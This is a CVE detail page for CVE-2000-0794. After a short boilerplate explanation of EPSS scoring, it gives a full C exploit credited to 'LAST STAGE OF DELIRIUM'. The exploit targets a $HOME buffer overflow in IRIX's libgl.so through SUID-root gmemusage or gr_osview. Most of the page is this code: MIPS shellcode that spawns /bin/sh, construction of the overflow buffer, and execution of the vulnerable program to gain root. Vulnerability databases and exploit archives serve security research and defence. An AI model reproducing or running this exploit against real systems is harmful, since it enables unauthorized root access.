CVE-2000-0794 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

/* source: https://www.securityfocus.com/bid/1527/info Certain versions of IRIX ship with a version libgl.so which is vulnerable to buffer overflow attacks. This library, libgl.so, is used in conjunction with graphical programs which use OpenGL. As a result a number of programs which utilize libgl.so can be exploited via this problem. The exploit which is in known public circulation at this time uses both gmemusage and gr_osview to exploit this problem. The buffer overflow itself is in how libgl.so handles the $HOME variable is handled (it is not checked for length). Further the programs which receive this $HOME variable from libgl.so further fail to limit it's size resulting in a buffer overflow attack. Should the receiving programs be SUID root (as are both gr_osview and gmemusage) the attacker will gain root access. */ /*## copyright LAST STAGE OF DELIRIUM sep 1997 poland *://lsd-pl.net/ #*/ /*## libgl.so $HOME #*/ #define ADRNUM 500 #define PCHNUM 320 #define TMPNUM 500 #define NOPNUM 740 #define ALLIGN 3 char shellcode[]= "\x04\x10\xff\xff" /* bltzal $zero,<shellcode> */ "\x24\x02\x03\xf3" /* li $v0,1011 */ "\x23\xff\x01\x14" /* addi $ra,$ra,276 */ "\x23\xe4\xff\x08" /* addi $a0,$ra,-248 */ "\x23\xe5\xff\x10" /* addi $a1,$ra,-240 */ "\xaf\xe4\xff\x10" /* sw $a0,-240($ra) */ "\xaf\xe0\xff\x14" /* sw $zero,-236($ra) */ "\xa3\xe0\xff\x0f" /* sb $zero,-241($ra) */ "\x03\xff\xff\xcc" /* syscall */ "/bin/sh" ; char jump[]= "\x03\xa0\x10\x25" /* move $v0,$sp */ "\x03\xe0\x00\x08" /* jr $ra */ ; char nop[]="\x24\x0f\x12\x34"; main(int argc,char **argv){ char buffer[10000],adr[4],pch[4],tmp[4],*b,*envp[2]; int i,n=-1; printf("copyright LAST STAGE OF DELIRIUM sep 1997 poland //lsd-pl.net/\n"); printf("libgl.so $HOME for irix 6.2 IP:20,22\n\n"); if(argc!=2){ printf("usage: %s {gmemusage|gr_osview}\n",argv[0]); exit(-1); } if(!strcmp(argv[1],"gmemusage")) n=0; if(!strcmp(argv[1],"gr_osview")) n=1; if(n==-1) exit(-1); *((unsigned long*)adr)=(*(unsigned long(*)())jump)()+10268+252+824+500; *((unsigned long*)pch)=(*(unsigned long(*)())jump)()+10268+252+824+31868; *((unsigned long*)tmp)=(*(unsigned long(*)())jump)()+10268; envp[0]=buffer; envp[1]=0; b=buffer; sprintf(b,"HOME="); b+=5; for(i=0;i<ALLIGN;i++) *b++=0xff; for(i=0;i<TMPNUM;i++) *b++=tmp[i%4]; *b++=0xff; for(i=0;i<PCHNUM;i++) *b++=pch[i%4]; for(i=0;i<ALLIGN;i++) *b++=0xff; for(i=0;i<ADRNUM;i++) *b++=adr[i%4]; for(i=0;i<NOPNUM;i++) *b++=nop[i%4]; for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i]; *b=0; switch(n){ case 0: execle("/usr/sbin/gmemusage","lsd",0,envp); case 1: execle("/usr/sbin/gr_osview","lsd",0,envp); } }